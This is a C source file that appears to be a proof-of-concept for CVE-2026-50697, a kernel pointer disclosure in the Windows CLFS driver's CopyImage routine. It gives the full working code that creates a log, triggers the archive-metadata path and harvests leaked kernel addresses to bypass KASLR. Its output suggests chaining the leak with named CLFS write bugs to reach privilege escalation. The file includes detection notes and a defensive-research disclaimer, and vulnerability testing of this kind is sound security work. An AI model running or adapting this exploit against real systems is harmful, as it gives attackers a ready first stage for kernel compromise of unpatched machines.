/*
 * CVE-2026-50697 — CLFS CopyImage Kernel Pointer Leak Trigger PoC (v2)
 *
 * Description:
 *   Demonstrates the information disclosure in CClfsBaseFileSnapshot::CopyImage.
 *   The pre-patch clfs.sys copies base-file log metadata including live kernel
 *   pointers (container_context+0x18) to a user-mode buffer via the
 *   ReadLogArchiveMetadata API. This PoC creates a CLFS log with a container,
 *   writes a dummy record to make the log non-ephemeral, triggers the archival
 *   path, and scans the returned metadata for values in the kernel address range.
 *
 * v2 changes:
 *   - Uses poc_common.h instrumentation framework
 *   - Every API call traced via POC_CALL / POC_CALL_BOOL / POC_CALL_HANDLE
 *   - Pre-flight checks: OS build, clfs.sys version, CFR flag state
 *   - Structured POC_STEP markers for each logical phase
 *   - poc_results() verdict footer (VULNERABLE / NOT VULNERABLE / INCONCLUSIVE)
 *   - /v verbose mode for detailed buffer dumps
 *
 * Call chain (Ghidra-verified):
 *   User mode:
 *     CreateLogFile()           -> opens CLFS log, returns handle
 *     AddLogContainer()         -> adds container (kernel allocates
 *                                  _CLFS_CONTAINER_CONTEXT, sets +0x18
 *                                  to a live kernel pointer)
 *     CreateLogMarshallingArea()-> creates write context
 *     ReserveAndAppendLog()     -> writes record (makes log non-ephemeral)
 *     PrepareLogArchive()       -> creates CClfsBaseFileSnapshot
 *     ReadLogArchiveMetadata()  -> IOCTL 0x80076856 to clfs.sys
 *   Kernel mode:
 *     CClfsDriver::LogIoDispatch()
 *       -> ClfsDispatchIoRequest()
 *         -> CClfsRequest::Dispatch()          [IOCTL switch]
 *           -> CClfsRequest::ReadArchiveMetadata()
 *             -> CClfsLogCcb::ReadArchiveMetadata()
 *               -> CClfsBaseFileSnapshot::CopyImage()   *** VULNERABLE ***
 *
 * Vulnerability:
 *   CopyImage iterates metadata block descriptors and copies them to the
 *   user buffer via memmove(). Each block contains container context
 *   structures where field +0x18 holds a live kernel pointer. Pre-patch,
 *   this pointer is NOT scrubbed before the copy -- it leaks verbatim to
 *   user space, breaking KASLR.
 *
 * Patch (KB5101650, July 2026):
 *   CopyImage gains a scrub-copy-restore pattern gated behind WIL CFR
 *   flag Feature_326875449:
 *     1. Pre-pass:  save container_context[i]+0x18, set to NULL
 *     2. Copy:      existing block copy loop (now sanitized)
 *     3. Post-pass: restore saved pointers
 *
 * Impact:
 *   Information disclosure only -- leaks kernel pointer(s), breaking KASLR.
 *   Does NOT achieve code execution or privilege escalation by itself.
 *   Value is as a first-stage KASLR bypass in a two-bug exploit chain.
 *
 * Expected output (pre-patch, clfs.sys < 10.0.26100.8875):
 *   [+] Potential kernel pointer leaked at offset 0x...: 0xFFFF....
 *
 * Expected output (post-patch):
 *   [*] No kernel pointers found -- system appears patched.
 *
 * Build (MSVC, from x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_50697_v2.c /link clfsw32.lib kernel32.lib version.lib advapi32.lib
 *
 * Detection opportunities:
 *   - Sysmon Event 7:  clfsw32.dll loaded by non-system process
 *   - Sysmon Event 11: .blf file created in user-writable directory
 *   - Sysmon Event 11: .log container file created alongside .blf
 *   - ETW CLFS trace:  PrepareLogArchive + ReadLogArchiveMetadata sequence
 *                       from a non-backup/non-database process
 *
 * Author: OnlyFm252
 * Date:   2026-07-22
 * CVE:    CVE-2026-50697
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

/* ── poc_common.h configuration ── */
#define POC_CVE     "CVE-2026-50697"
#define POC_BINARY  L"clfs.sys"

static int g_verbose = 0;
#define POC_VERBOSE g_verbose

#include "poc_common.h"

#include <clfsw32.h>
#include <clfsmgmtw32.h>
#include <string.h>

#pragma comment(lib, "clfsw32.lib")

#define CONTAINER_SIZE_MB  1
#define META_BUFSIZE       (64 * 1024)   /* 64 KB read buffer */

static wchar_t g_blf_path[MAX_PATH];
static wchar_t g_cont_path[MAX_PATH];

static void build_paths(void)
{
    wchar_t temp[MAX_PATH];
    GetTempPathW(MAX_PATH, temp);

    size_t len = wcslen(temp);
    if (len > 0 && temp[len - 1] == L'\\')
        temp[len - 1] = L'\0';

    _snwprintf(g_blf_path, MAX_PATH,
               L"%s\\cve_2026_50697_test.blf", temp);
    _snwprintf(g_cont_path, MAX_PATH,
               L"%s\\cve_2026_50697_container0.log", temp);
}

static void cleanup_files(void)
{
    DeleteFileW(g_blf_path);
    DeleteFileW(g_cont_path);

    wchar_t temp[MAX_PATH];
    wchar_t pattern[MAX_PATH];
    WIN32_FIND_DATAW fd;
    HANDLE hFind;

    GetTempPathW(MAX_PATH, temp);
    _snwprintf(pattern, MAX_PATH, L"%scve_2026_50697*", temp);
    hFind = FindFirstFileW(pattern, &fd);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            wchar_t full[MAX_PATH];
            _snwprintf(full, MAX_PATH, L"%s%s", temp, fd.cFileName);
            DeleteFileW(full);
        } while (FindNextFileW(hFind, &fd));
        FindClose(hFind);
    }
}

/*
 * scan_for_kernel_pointers -- scan buffer for 8-byte values in kernel range.
 *
 * On x86-64 Windows, kernel-mode addresses live in the upper canonical
 * half: 0xFFFF8000'00000000 through 0xFFFFFFFF'FFFFFFFF. We skip zero,
 * -1 (0xFFFFFFFFFFFFFFFF), and small negative values that look like
 * NTSTATUS codes rather than pointers.
 *
 * Returns count of candidate kernel pointers found.
 */
static int scan_for_kernel_pointers(const unsigned char *buf, ULONG size)
{
    int found = 0;
    ULONG i;

    if (size < 8)
        return 0;

    for (i = 0; i <= size - 8; i += 8) {
        ULONGLONG val;
        memcpy(&val, buf + i, sizeof(val));

        if (val == 0 || val == (ULONGLONG)-1)
            continue;

        /* Skip sentinels / uninit values that appear on both patched
         * and unpatched systems -- NOT real kernel pointers. */
        if (val == 0xFFFFFFFF00000000ULL ||
            val == 0xFFFF000000000000ULL ||
            (val & 0x00000000FFFFFFFFULL) == 0)
            continue;

        /* Kernel canonical range: top 17 bits set, varied lower bits */
        if (val >= 0xFFFF800000000000ULL && val < 0xFFFFFFFFFFFF0000ULL) {
            POC_OK(L"Kernel pointer at offset 0x%04lX: 0x%016llX",
                   (unsigned long)i, val);
            found++;
            if (found >= 16) {
                POC_INFO(L"... (truncated, %lu bytes remain)",
                         (unsigned long)(size - i));
                break;
            }
        }
    }

    return found;
}

int wmain(int argc, wchar_t *argv[])
{
    HANDLE  hLog        = INVALID_HANDLE_VALUE;
    PVOID   pvMarshal   = NULL;
    BOOL    bOk         = FALSE;
    int     leaked      = 0;

    /* PrepareLogArchive output params */
    wchar_t          baseLogFileName[MAX_PATH];
    ULONG            actualLength    = 0;
    ULONGLONG        offBaseData     = 0;
    ULONGLONG        cbBaseLength    = 0;
    CLFS_LSN         lsnBase         = { 0 };
    CLFS_LSN         lsnLast         = { 0 };
    CLFS_LSN         lsnArchiveTail  = { 0 };

    CLFS_LOG_ARCHIVE_CONTEXT archiveCtx = NULL;

    unsigned char   *metaBuf    = NULL;
    ULONG            totalRead  = 0;
    ULONG            readOffset = 0;

    ULONGLONG containerSize = (ULONGLONG)CONTAINER_SIZE_MB * 1024 * 1024;

    wchar_t logUri[MAX_PATH + 8];

    CLFS_LSN lsnWritten = { 0 };
    char     dummyData[] = "CVE-2026-50697-trigger";
    CLFS_WRITE_ENTRY writeEntry;

    /* ── Parse command line ── */
    g_verbose = poc_parse_verbose(argc, argv);

    /* ── Banner ── */
    poc_banner(L"CLFS CopyImage Kernel Pointer Leak");

    /* ── Pre-flight ── */
    {
        static const poc_cfr_info cfr[] = {
            { 326875449, L"CopyImage scrub (CVE-2026-50697 fix)" }
        };
        poc_preflight(POC_BINARY, NULL, cfr, 1);
    }

    /* ================================================================
     * Step 1: Build paths and clean up leftover files
     * ================================================================ */
    POC_STEP("Build paths and clean up leftover files");

    build_paths();
    cleanup_files();

    POC_DETAIL(L"BLF path:       %s", g_blf_path);
    POC_DETAIL(L"Container path: %s", g_cont_path);

    /* Build LOG: URI (base name WITHOUT .blf — CLFS auto-appends) */
    {
        wchar_t logBase[MAX_PATH];
        wchar_t temp2[MAX_PATH];
        GetTempPathW(MAX_PATH, temp2);
        size_t tlen = wcslen(temp2);
        if (tlen > 0 && temp2[tlen - 1] == L'\\')
            temp2[tlen - 1] = L'\0';
        _snwprintf(logBase, MAX_PATH, L"%s\\cve_2026_50697_test", temp2);
        _snwprintf(logUri, MAX_PATH + 8, L"LOG:%s", logBase);
    }

    POC_INFO(L"Log URI: %s", logUri);

    /* ================================================================
     * Step 2: Create CLFS log file
     * ================================================================ */
    POC_STEP("Create CLFS log file");

    POC_CALL_HANDLE(hLog,
        CreateLogFile(logUri,
                      GENERIC_READ | GENERIC_WRITE,
                      0, NULL, CREATE_NEW,
                      FILE_ATTRIBUTE_ARCHIVE),
        L"CreateLogFile(CREATE_NEW)");

    if (hLog == INVALID_HANDLE_VALUE || hLog == NULL) {
        DWORD err = GetLastError();
        if (err == ERROR_FILE_EXISTS) {
            POC_WARN(L"BLF exists despite cleanup, retrying OPEN_EXISTING...");
            POC_CALL_HANDLE_GC(hLog,
                CreateLogFile(logUri,
                              GENERIC_READ | GENERIC_WRITE,
                              0, NULL, OPEN_EXISTING,
                              FILE_ATTRIBUTE_ARCHIVE),
                L"CreateLogFile(OPEN_EXISTING)");
        } else {
            goto cleanup;
        }
    }

    /* ================================================================
     * Step 3: Add container
     * ================================================================
     * Forces kernel to allocate _CLFS_CONTAINER_CONTEXT.
     * Field +0x18 holds the live kernel pointer CopyImage leaks.
     */
    POC_STEP("Add log container");

    POC_INFO(L"Container: %s (%d MB)", g_cont_path, CONTAINER_SIZE_MB);

    POC_CALL_BOOL(bOk,
        AddLogContainer(hLog, &containerSize, g_cont_path, NULL),
        L"AddLogContainer");

    if (!bOk) {
        if (GetLastError() == ERROR_ALREADY_EXISTS) {
            POC_WARN(L"Container already exists, continuing...");
        } else {
            goto cleanup;
        }
    } else {
        POC_DETAIL(L"Actual container size: %llu bytes", containerSize);
    }

    /* ================================================================
     * Step 4: Create marshalling area + write dummy record
     * ================================================================
     * Log is "ephemeral" until a record is written and flushed.
     * PrepareLogArchive requires non-ephemeral.
     */
    POC_STEP("Create marshalling area and write dummy record");

    POC_CALL_BOOL_GC(bOk,
        CreateLogMarshallingArea(
            hLog, NULL, NULL, NULL,
            1024 * 64, 2, 1, &pvMarshal),
        L"CreateLogMarshallingArea");

    POC_DETAIL(L"Marshalling area: 0x%p", pvMarshal);

    writeEntry.Buffer     = dummyData;
    writeEntry.ByteLength = sizeof(dummyData);

    POC_CALL_BOOL_GC(bOk,
        ReserveAndAppendLog(
            pvMarshal, &writeEntry, 1,
            NULL, NULL, 0, NULL,
            CLFS_FLAG_FORCE_FLUSH,
            &lsnWritten, NULL),
        L"ReserveAndAppendLog(FORCE_FLUSH)");

    POC_OK(L"Wrote dummy record at LSN: 0x%016llX",
           (unsigned long long)lsnWritten.Internal);

    /* ================================================================
     * Step 5: Prepare log archive — creates CClfsBaseFileSnapshot
     * ================================================================
     * Snapshots base-file metadata blocks. The snapshot includes the
     * container context with unsanitized +0x18 kernel pointer.
     */
    POC_STEP("Prepare log archive (create CClfsBaseFileSnapshot)");

    POC_CALL_BOOL(bOk,
        PrepareLogArchive(
            hLog, baseLogFileName, MAX_PATH,
            NULL, NULL,
            &actualLength, &offBaseData, &cbBaseLength,
            &lsnBase, &lsnLast, &lsnArchiveTail,
            &archiveCtx),
        L"PrepareLogArchive");

    if (!bOk) {
        DWORD err = GetLastError();
        if (err == 6651 /* ERROR_LOG_NO_RESTART */) {
            POC_WARN(L"ERROR_LOG_NO_RESTART — expected for log without restart area");
            POC_INFO(L"Snapshot still created, continuing...");
        } else {
            goto cleanup;
        }
    }

    if (archiveCtx == NULL) {
        POC_WARN(L"Archive context is NULL — cannot proceed");
        leaked = -1;
        goto cleanup;
    }

    POC_DETAIL(L"Archive context:    0x%p", archiveCtx);
    POC_DETAIL(L"Base data offset:   %llu", offBaseData);
    POC_DETAIL(L"Base data length:   %llu", cbBaseLength);

    /* ================================================================
     * Step 6: Read archive metadata — triggers CopyImage
     * ================================================================
     * IOCTL 0x80076856 → CClfsBaseFileSnapshot::CopyImage copies
     * metadata blocks (incl. container_context+0x18) to user buffer.
     */
    POC_STEP("Read archive metadata (IOCTL 0x80076856 -> CopyImage)");

    metaBuf = (unsigned char *)HeapAlloc(
        GetProcessHeap(), HEAP_ZERO_MEMORY, META_BUFSIZE);
    if (!metaBuf) {
        POC_WARN(L"HeapAlloc(%u) failed", META_BUFSIZE);
        leaked = -1;
        goto cleanup;
    }

    readOffset = 0;
    totalRead = 0;
    while (totalRead < META_BUFSIZE) {
        ULONG bytesRead = 0;

        POC_CALL_BOOL(bOk,
            ReadLogArchiveMetadata(
                archiveCtx, readOffset,
                META_BUFSIZE - totalRead,
                metaBuf + totalRead, &bytesRead),
            L"ReadLogArchiveMetadata");

        if (!bOk) {
            DWORD err = GetLastError();
            if (err == ERROR_HANDLE_EOF ||
                err == 6621 /* ERROR_LOG_READ_CONTEXT_INVALID */) {
                POC_DETAIL(L"EOF reached (err %lu) — normal termination", err);
                break;
            }
            break;
        }

        if (bytesRead == 0)
            break;

        totalRead += bytesRead;
        readOffset += bytesRead;

        POC_DETAIL(L"Read chunk: %lu bytes (total: %lu)", bytesRead, totalRead);
    }

    POC_OK(L"Read %lu bytes of archive metadata", totalRead);

    if (totalRead == 0) {
        POC_WARN(L"No metadata returned");
        leaked = -1;
        goto cleanup;
    }

    /* ================================================================
     * Step 7: Scan for kernel pointers
     * ================================================================
     * Container contexts within BLF metadata have a kernel pointer at
     * +0x18. On pre-patch systems, CopyImage copies this verbatim.
     */
    POC_STEP("Scan metadata for kernel pointers");

    POC_INFO(L"Scanning %lu bytes for kernel-range values...", totalRead);
    leaked = scan_for_kernel_pointers(metaBuf, totalRead);

    if (leaked > 0) {
        POC_WARN(L"clfs.sys is pre-patch (< 10.0.26100.8875)");
        POC_WARN(L"CClfsBaseFileSnapshot::CopyImage did NOT scrub");
        POC_WARN(L"container_context+0x18 before copying to user space");
        POC_INFO(L"Exploitation value:");
        POC_INFO(L"  - KASLR bypass (leaked kernel address)");
        POC_INFO(L"  - Chain with write primitive for full EoP");
        POC_INFO(L"  - Known CLFS write primitives: CVE-2023-28252,");
        POC_INFO(L"    CVE-2023-23376, CVE-2022-37969");
    } else {
        POC_OK(L"No kernel pointers found in metadata buffer");
        POC_OK(L"System appears patched (Feature_326875449 active)");
        POC_OK(L"CopyImage scrubbed container_context+0x18 fields");
    }

cleanup:
    if (metaBuf)
        HeapFree(GetProcessHeap(), 0, metaBuf);
    if (archiveCtx)
        TerminateLogArchive(archiveCtx);
    if (pvMarshal)
        DeleteLogMarshallingArea(pvMarshal);
    if (hLog != INVALID_HANDLE_VALUE)
        CloseHandle(hLog);

    cleanup_files();

    /* ── Verdict ── */
    poc_results(leaked);

    return leaked > 0 ? 1 : 0;
}
